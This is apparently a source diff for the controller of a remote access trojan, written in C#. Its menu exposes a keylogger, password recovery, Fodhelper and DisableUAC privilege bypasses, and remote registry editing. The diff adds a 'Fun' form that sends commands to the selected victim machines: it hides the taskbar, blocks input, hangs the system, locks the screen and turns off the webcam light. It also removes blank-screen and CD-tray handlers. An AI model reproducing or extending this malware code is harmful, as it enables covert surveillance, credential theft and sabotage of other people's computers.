private System.Windows.Forms.ToolStripMenuItem ChangeWallpaperToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem KeyloggerToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem LockScreenToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem StartToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem StopToolStripMenuItem3;
|
||||
private System.Windows.Forms.ToolStripMenuItem SystemControlToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem ClientControlToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem StopToolStripMenuItem1;
|
||||
|
@ -1294,7 +1264,6 @@
|
|||
private System.Windows.Forms.ToolStripMenuItem PasswordRecoveryToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem FodhelperToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem DisableUACToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem OpenCDToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem CompMgmtLauncherToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem SettingToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem autoKeyloggerToolStripMenuItem;
|
||||
|
@ -1311,6 +1280,7 @@
|
|||
private System.Windows.Forms.ToolStripMenuItem remoteRegeditToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem normalInstallToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem normalUninstallToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem justForFunToolStripMenuItem;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1022,60 +1022,6 @@ namespace Server
|
|||
}
|
||||
}
|
||||
|
||||
private void StartToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Pac_ket").AsString = "blankscreen+";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll"));
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void StopToolStripMenuItem3_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Pac_ket").AsString = "blankscreen-";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll"));
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void StartToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
|
@ -1746,32 +1692,6 @@ namespace Server
|
|||
}
|
||||
}
|
||||
|
||||
private void OpenCDToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Pac_ket").AsString = "openCD";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll"));
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void CompMgmtLauncherToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
|
@ -2266,5 +2186,37 @@ namespace Server
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void justForFunToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Fun.dll"));
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormFun fun = (FormFun)Application.OpenForms["fun:" + client.ID];
|
||||
if (fun == null)
|
||||
{
|
||||
fun = new FormFun
|
||||
{
|
||||
Name = "fun:" + client.ID,
|
||||
Text = "fun:" + client.ID,
|
||||
F = this,
|
||||
ParentClient = client
|
||||
};
|
||||
fun.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,506 @@
|
|||
|
||||
namespace Server.Forms
|
||||
{
|
||||
partial class FormFun
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormFun));
|
||||
this.button1 = new System.Windows.Forms.Button();
|
||||
this.button2 = new System.Windows.Forms.Button();
|
||||
this.groupBox1 = new System.Windows.Forms.GroupBox();
|
||||
this.groupBox2 = new System.Windows.Forms.GroupBox();
|
||||
this.button4 = new System.Windows.Forms.Button();
|
||||
this.button3 = new System.Windows.Forms.Button();
|
||||
this.groupBox3 = new System.Windows.Forms.GroupBox();
|
||||
this.button5 = new System.Windows.Forms.Button();
|
||||
this.button6 = new System.Windows.Forms.Button();
|
||||
this.groupBox4 = new System.Windows.Forms.GroupBox();
|
||||
this.button7 = new System.Windows.Forms.Button();
|
||||
this.button8 = new System.Windows.Forms.Button();
|
||||
this.groupBox5 = new System.Windows.Forms.GroupBox();
|
||||
this.button9 = new System.Windows.Forms.Button();
|
||||
this.button10 = new System.Windows.Forms.Button();
|
||||
this.groupBox6 = new System.Windows.Forms.GroupBox();
|
||||
this.button11 = new System.Windows.Forms.Button();
|
||||
this.label2 = new System.Windows.Forms.Label();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
|
||||
this.button12 = new System.Windows.Forms.Button();
|
||||
this.button14 = new System.Windows.Forms.Button();
|
||||
this.groupBox7 = new System.Windows.Forms.GroupBox();
|
||||
this.button15 = new System.Windows.Forms.Button();
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
this.label4 = new System.Windows.Forms.Label();
|
||||
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
|
||||
this.groupBox9 = new System.Windows.Forms.GroupBox();
|
||||
this.button17 = new System.Windows.Forms.Button();
|
||||
this.button18 = new System.Windows.Forms.Button();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.groupBox8 = new System.Windows.Forms.GroupBox();
|
||||
this.button16 = new System.Windows.Forms.Button();
|
||||
this.button19 = new System.Windows.Forms.Button();
|
||||
this.button13 = new System.Windows.Forms.Button();
|
||||
this.groupBox1.SuspendLayout();
|
||||
this.groupBox2.SuspendLayout();
|
||||
this.groupBox3.SuspendLayout();
|
||||
this.groupBox4.SuspendLayout();
|
||||
this.groupBox5.SuspendLayout();
|
||||
this.groupBox6.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
|
||||
this.groupBox7.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
|
||||
this.groupBox9.SuspendLayout();
|
||||
this.groupBox8.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// button1
|
||||
//
|
||||
this.button1.Location = new System.Drawing.Point(6, 20);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new System.Drawing.Size(75, 30);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = "Show";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new System.EventHandler(this.button1_Click);
|
||||
//
|
||||
// button2
|
||||
//
|
||||
this.button2.Location = new System.Drawing.Point(87, 20);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new System.Drawing.Size(75, 30);
|
||||
this.button2.TabIndex = 1;
|
||||
this.button2.Text = "Hide";
|
||||
this.button2.UseVisualStyleBackColor = true;
|
||||
this.button2.Click += new System.EventHandler(this.button2_Click);
|
||||
//
|
||||
// groupBox1
|
||||
//
|
||||
this.groupBox1.Controls.Add(this.button1);
|
||||
this.groupBox1.Controls.Add(this.button2);
|
||||
this.groupBox1.Location = new System.Drawing.Point(12, 12);
|
||||
this.groupBox1.Name = "groupBox1";
|
||||
this.groupBox1.Size = new System.Drawing.Size(170, 56);
|
||||
this.groupBox1.TabIndex = 0;
|
||||
this.groupBox1.TabStop = false;
|
||||
this.groupBox1.Text = "Taskbar";
|
||||
//
|
||||
// groupBox2
|
||||
//
|
||||
this.groupBox2.Controls.Add(this.button4);
|
||||
this.groupBox2.Controls.Add(this.button3);
|
||||
this.groupBox2.Location = new System.Drawing.Point(12, 74);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
this.groupBox2.Size = new System.Drawing.Size(170, 56);
|
||||
this.groupBox2.TabIndex = 4;
|
||||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Desktop";
|
||||
//
|
||||
// button4
|
||||
//
|
||||
this.button4.Location = new System.Drawing.Point(88, 21);
|
||||
this.button4.Name = "button4";
|
||||
this.button4.Size = new System.Drawing.Size(75, 30);
|
||||
this.button4.TabIndex = 1;
|
||||
this.button4.Text = "Hide";
|
||||
this.button4.UseVisualStyleBackColor = true;
|
||||
this.button4.Click += new System.EventHandler(this.button4_Click);
|
||||
//
|
||||
// button3
|
||||
//
|
||||
this.button3.Location = new System.Drawing.Point(7, 21);
|
||||
this.button3.Name = "button3";
|
||||
this.button3.Size = new System.Drawing.Size(75, 29);
|
||||
this.button3.TabIndex = 0;
|
||||
this.button3.Text = "Show";
|
||||
this.button3.UseVisualStyleBackColor = true;
|
||||
this.button3.Click += new System.EventHandler(this.button3_Click);
|
||||
//
|
||||
// groupBox3
|
||||
//
|
||||
this.groupBox3.Controls.Add(this.button5);
|
||||
this.groupBox3.Controls.Add(this.button6);
|
||||
this.groupBox3.Location = new System.Drawing.Point(12, 138);
|
||||
this.groupBox3.Name = "groupBox3";
|
||||
this.groupBox3.Size = new System.Drawing.Size(170, 56);
|
||||
this.groupBox3.TabIndex = 3;
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "Clock";
|
||||
//
|
||||
// button5
|
||||
//
|
||||
this.button5.Location = new System.Drawing.Point(6, 20);
|
||||
this.button5.Name = "button5";
|
||||
this.button5.Size = new System.Drawing.Size(75, 30);
|
||||
this.button5.TabIndex = 0;
|
||||
this.button5.Text = "Show";
|
||||
this.button5.UseVisualStyleBackColor = true;
|
||||
this.button5.Click += new System.EventHandler(this.button5_Click);
|
||||
//
|
||||
// button6
|
||||
//
|
||||
this.button6.Location = new System.Drawing.Point(87, 20);
|
||||
this.button6.Name = "button6";
|
||||
this.button6.Size = new System.Drawing.Size(75, 30);
|
||||
this.button6.TabIndex = 1;
|
||||
this.button6.Text = "Hide";
|
||||
this.button6.UseVisualStyleBackColor = true;
|
||||
this.button6.Click += new System.EventHandler(this.button6_Click);
|
||||
//
|
||||
// groupBox4
|
||||
//
|
||||
this.groupBox4.Controls.Add(this.button7);
|
||||
this.groupBox4.Controls.Add(this.button8);
|
||||
this.groupBox4.Location = new System.Drawing.Point(12, 200);
|
||||
this.groupBox4.Name = "groupBox4";
|
||||
this.groupBox4.Size = new System.Drawing.Size(170, 56);
|
||||
this.groupBox4.TabIndex = 4;
|
||||
this.groupBox4.TabStop = false;
|
||||
this.groupBox4.Text = "Mouse";
|
||||
//
|
||||
// button7
|
||||
//
|
||||
this.button7.Location = new System.Drawing.Point(88, 21);
|
||||
this.button7.Name = "button7";
|
||||
this.button7.Size = new System.Drawing.Size(75, 30);
|
||||
this.button7.TabIndex = 1;
|
||||
this.button7.Text = "Restore";
|
||||
this.button7.UseVisualStyleBackColor = true;
|
||||
this.button7.Click += new System.EventHandler(this.button7_Click);
|
||||
//
|
||||
// button8
|
||||
//
|
||||
this.button8.Location = new System.Drawing.Point(7, 21);
|
||||
this.button8.Name = "button8";
|
||||
this.button8.Size = new System.Drawing.Size(75, 29);
|
||||
this.button8.TabIndex = 0;
|
||||
this.button8.Text = "Swap";
|
||||
this.button8.UseVisualStyleBackColor = true;
|
||||
this.button8.Click += new System.EventHandler(this.button8_Click);
|
||||
//
|
||||
// groupBox5
|
||||
//
|
||||
this.groupBox5.Controls.Add(this.button9);
|
||||
this.groupBox5.Controls.Add(this.button10);
|
||||
this.groupBox5.Location = new System.Drawing.Point(12, 262);
|
||||
this.groupBox5.Name = "groupBox5";
|
||||
this.groupBox5.Size = new System.Drawing.Size(170, 56);
|
||||
this.groupBox5.TabIndex = 4;
|
||||
this.groupBox5.TabStop = false;
|
||||
this.groupBox5.Text = "CD Drive";
|
||||
//
|
||||
// button9
|
||||
//
|
||||
this.button9.Location = new System.Drawing.Point(88, 21);
|
||||
this.button9.Name = "button9";
|
||||
this.button9.Size = new System.Drawing.Size(75, 30);
|
||||
this.button9.TabIndex = 1;
|
||||
this.button9.Text = "Close";
|
||||
this.button9.UseVisualStyleBackColor = true;
|
||||
this.button9.Click += new System.EventHandler(this.button9_Click);
|
||||
//
|
||||
// button10
|
||||
//
|
||||
this.button10.Location = new System.Drawing.Point(7, 21);
|
||||
this.button10.Name = "button10";
|
||||
this.button10.Size = new System.Drawing.Size(75, 29);
|
||||
this.button10.TabIndex = 0;
|
||||
this.button10.Text = "Open";
|
||||
this.button10.UseVisualStyleBackColor = true;
|
||||
this.button10.Click += new System.EventHandler(this.button10_Click);
|
||||
//
|
||||
// groupBox6
|
||||
//
|
||||
this.groupBox6.Controls.Add(this.button11);
|
||||
this.groupBox6.Controls.Add(this.label2);
|
||||
this.groupBox6.Controls.Add(this.label1);
|
||||
this.groupBox6.Controls.Add(this.numericUpDown1);
|
||||
this.groupBox6.Location = new System.Drawing.Point(236, 12);
|
||||
this.groupBox6.Name = "groupBox6";
|
||||
this.groupBox6.Size = new System.Drawing.Size(250, 68);
|
||||
this.groupBox6.TabIndex = 5;
|
||||
this.groupBox6.TabStop = false;
|
||||
this.groupBox6.Text = "Block Input";
|
||||
//
|
||||
// button11
|
||||
//
|
||||
this.button11.Location = new System.Drawing.Point(173, 24);
|
||||
this.button11.Name = "button11";
|
||||
this.button11.Size = new System.Drawing.Size(71, 26);
|
||||
this.button11.TabIndex = 3;
|
||||
this.button11.Text = "Start";
|
||||
this.button11.UseVisualStyleBackColor = true;
|
||||
this.button11.Click += new System.EventHandler(this.button11_Click);
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(120, 29);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(47, 12);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "seconds";
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(8, 29);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(23, 12);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "for";
|
||||
//
|
||||
// numericUpDown1
|
||||
//
|
||||
this.numericUpDown1.Location = new System.Drawing.Point(37, 27);
|
||||
this.numericUpDown1.Name = "numericUpDown1";
|
||||
this.numericUpDown1.Size = new System.Drawing.Size(77, 21);
|
||||
this.numericUpDown1.TabIndex = 0;
|
||||
//
|
||||
// button12
|
||||
//
|
||||
this.button12.Location = new System.Drawing.Point(236, 310);
|
||||
this.button12.Name = "button12";
|
||||
this.button12.Size = new System.Drawing.Size(250, 32);
|
||||
this.button12.TabIndex = 6;
|
||||
this.button12.Text = "Turn Monitor off";
|
||||
this.button12.UseVisualStyleBackColor = true;
|
||||
this.button12.Click += new System.EventHandler(this.button12_Click);
|
||||
//
|
||||
// button14
|
||||
//
|
||||
this.button14.Location = new System.Drawing.Point(236, 348);
|
||||
this.button14.Name = "button14";
|
||||
this.button14.Size = new System.Drawing.Size(250, 32);
|
||||
this.button14.TabIndex = 8;
|
||||
this.button14.Text = "Hang system";
|
||||
this.button14.UseVisualStyleBackColor = true;
|
||||
this.button14.Click += new System.EventHandler(this.button14_Click);
|
||||
//
|
||||
// groupBox7
|
||||
//
|
||||
this.groupBox7.Controls.Add(this.button15);
|
||||
this.groupBox7.Controls.Add(this.label3);
|
||||
this.groupBox7.Controls.Add(this.label4);
|
||||
this.groupBox7.Controls.Add(this.numericUpDown2);
|
||||
this.groupBox7.Location = new System.Drawing.Point(236, 86);
|
||||
this.groupBox7.Name = "groupBox7";
|
||||
this.groupBox7.Size = new System.Drawing.Size(250, 68);
|
||||
this.groupBox7.TabIndex = 5;
|
||||
this.groupBox7.TabStop = false;
|
||||
this.groupBox7.Text = "Hold Mouse";
|
||||
//
|
||||
// button15
|
||||
//
|
||||
this.button15.Location = new System.Drawing.Point(173, 24);
|
||||
this.button15.Name = "button15";
|
||||
this.button15.Size = new System.Drawing.Size(71, 26);
|
||||
this.button15.TabIndex = 3;
|
||||
this.button15.Text = "Start";
|
||||
this.button15.UseVisualStyleBackColor = true;
|
||||
this.button15.Click += new System.EventHandler(this.button15_Click);
|
||||
//
|
||||
// label3
|
||||
//
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(120, 29);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(47, 12);
|
||||
this.label3.TabIndex = 2;
|
||||
this.label3.Text = "seconds";
|
||||
//
|
||||
// label4
|
||||
//
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Location = new System.Drawing.Point(8, 29);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new System.Drawing.Size(23, 12);
|
||||
this.label4.TabIndex = 1;
|
||||
this.label4.Text = "for";
|
||||
//
|
||||
// numericUpDown2
|
||||
//
|
||||
this.numericUpDown2.Location = new System.Drawing.Point(37, 27);
|
||||
this.numericUpDown2.Name = "numericUpDown2";
|
||||
this.numericUpDown2.Size = new System.Drawing.Size(77, 21);
|
||||
this.numericUpDown2.TabIndex = 0;
|
||||
//
|
||||
// groupBox9
|
||||
//
|
||||
this.groupBox9.Controls.Add(this.button17);
|
||||
this.groupBox9.Controls.Add(this.button18);
|
||||
this.groupBox9.Location = new System.Drawing.Point(12, 324);
|
||||
this.groupBox9.Name = "groupBox9";
|
||||
this.groupBox9.Size = new System.Drawing.Size(170, 56);
|
||||
this.groupBox9.TabIndex = 4;
|
||||
this.groupBox9.TabStop = false;
|
||||
this.groupBox9.Text = "Lock Screen";
|
||||
//
|
||||
// button17
|
||||
//
|
||||
this.button17.Location = new System.Drawing.Point(88, 21);
|
||||
this.button17.Name = "button17";
|
||||
this.button17.Size = new System.Drawing.Size(75, 30);
|
||||
this.button17.TabIndex = 1;
|
||||
this.button17.Text = "Stop";
|
||||
this.button17.UseVisualStyleBackColor = true;
|
||||
this.button17.Click += new System.EventHandler(this.button17_Click);
|
||||
//
|
||||
// button18
|
||||
//
|
||||
this.button18.Location = new System.Drawing.Point(7, 21);
|
||||
this.button18.Name = "button18";
|
||||
this.button18.Size = new System.Drawing.Size(75, 29);
|
||||
this.button18.TabIndex = 0;
|
||||
this.button18.Text = "Start";
|
||||
this.button18.UseVisualStyleBackColor = true;
|
||||
this.button18.Click += new System.EventHandler(this.button18_Click);
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Interval = 2000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
// groupBox8
|
||||
//
|
||||
this.groupBox8.Controls.Add(this.button16);
|
||||
this.groupBox8.Controls.Add(this.button19);
|
||||
this.groupBox8.Location = new System.Drawing.Point(236, 160);
|
||||
this.groupBox8.Name = "groupBox8";
|
||||
this.groupBox8.Size = new System.Drawing.Size(250, 79);
|
||||
this.groupBox8.TabIndex = 4;
|
||||
this.groupBox8.TabStop = false;
|
||||
this.groupBox8.Text = "Turn off webcam light";
|
||||
//
|
||||
// button16
|
||||
//
|
||||
this.button16.Location = new System.Drawing.Point(125, 29);
|
||||
this.button16.Name = "button16";
|
||||
this.button16.Size = new System.Drawing.Size(112, 30);
|
||||
this.button16.TabIndex = 1;
|
||||
this.button16.Text = "Turn Off";
|
||||
this.button16.UseVisualStyleBackColor = true;
|
||||
this.button16.Click += new System.EventHandler(this.button16_Click);
|
||||
//
|
||||
// button19
|
||||
//
|
||||
this.button19.Location = new System.Drawing.Point(7, 29);
|
||||
this.button19.Name = "button19";
|
||||
this.button19.Size = new System.Drawing.Size(112, 29);
|
||||
this.button19.TabIndex = 0;
|
||||
this.button19.Text = "Turn On";
|
||||
this.button19.UseVisualStyleBackColor = true;
|
||||
this.button19.Click += new System.EventHandler(this.button19_Click);
|
||||
//
|
||||
// button13
|
||||
//
|
||||
this.button13.Location = new System.Drawing.Point(236, 272);
|
||||
this.button13.Name = "button13";
|
||||
this.button13.Size = new System.Drawing.Size(250, 32);
|
||||
this.button13.TabIndex = 9;
|
||||
this.button13.Text = "Play Audio";
|
||||
this.button13.UseVisualStyleBackColor = true;
|
||||
this.button13.Click += new System.EventHandler(this.button13_Click_1);
|
||||
//
|
||||
// FormFun
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(508, 395);
|
||||
this.Controls.Add(this.button13);
|
||||
this.Controls.Add(this.button14);
|
||||
this.Controls.Add(this.button12);
|
||||
this.Controls.Add(this.groupBox7);
|
||||
this.Controls.Add(this.groupBox6);
|
||||
this.Controls.Add(this.groupBox8);
|
||||
this.Controls.Add(this.groupBox9);
|
||||
this.Controls.Add(this.groupBox5);
|
||||
this.Controls.Add(this.groupBox4);
|
||||
this.Controls.Add(this.groupBox3);
|
||||
this.Controls.Add(this.groupBox2);
|
||||
this.Controls.Add(this.groupBox1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "FormFun";
|
||||
this.Text = "Fun";
|
||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFun_FormClosed);
|
||||
this.groupBox1.ResumeLayout(false);
|
||||
this.groupBox2.ResumeLayout(false);
|
||||
this.groupBox3.ResumeLayout(false);
|
||||
this.groupBox4.ResumeLayout(false);
|
||||
this.groupBox5.ResumeLayout(false);
|
||||
this.groupBox6.ResumeLayout(false);
|
||||
this.groupBox6.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
||||
this.groupBox7.ResumeLayout(false);
|
||||
this.groupBox7.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
|
||||
this.groupBox9.ResumeLayout(false);
|
||||
this.groupBox8.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.Button button1;
|
||||
private System.Windows.Forms.Button button2;
|
||||
private System.Windows.Forms.GroupBox groupBox1;
|
||||
private System.Windows.Forms.GroupBox groupBox2;
|
||||
private System.Windows.Forms.Button button4;
|
||||
private System.Windows.Forms.Button button3;
|
||||
private System.Windows.Forms.GroupBox groupBox3;
|
||||
private System.Windows.Forms.Button button5;
|
||||
private System.Windows.Forms.Button button6;
|
||||
private System.Windows.Forms.GroupBox groupBox4;
|
||||
private System.Windows.Forms.Button button7;
|
||||
private System.Windows.Forms.Button button8;
|
||||
private System.Windows.Forms.GroupBox groupBox5;
|
||||
private System.Windows.Forms.Button button9;
|
||||
private System.Windows.Forms.Button button10;
|
||||
private System.Windows.Forms.GroupBox groupBox6;
|
||||
private System.Windows.Forms.Button button11;
|
||||
private System.Windows.Forms.Label label2;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||
private System.Windows.Forms.Button button12;
|
||||
private System.Windows.Forms.Button button14;
|
||||
private System.Windows.Forms.GroupBox groupBox7;
|
||||
private System.Windows.Forms.Button button15;
|
||||
private System.Windows.Forms.Label label3;
|
||||
private System.Windows.Forms.Label label4;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDown2;
|
||||
private System.Windows.Forms.GroupBox groupBox9;
|
||||
private System.Windows.Forms.Button button17;
|
||||
private System.Windows.Forms.Button button18;
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
private System.Windows.Forms.GroupBox groupBox8;
|
||||
private System.Windows.Forms.Button button16;
|
||||
private System.Windows.Forms.Button button19;
|
||||
private System.Windows.Forms.Button button13;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,199 @@
|
|||
using Server.Connection;
|
||||
using Server.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server.Forms
|
||||
{
|
||||
public partial class FormFun : Form
|
||||
{
|
||||
public FormFun()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
public Form1 F { get; set; }
|
||||
internal Clients Client { get; set; }
|
||||
internal Clients ParentClient { get; set; }
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Taskbar+";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Taskbar-";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button3_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Desktop+";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button4_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Desktop-";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button5_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Clock+";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button6_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Clock-";
|
||||
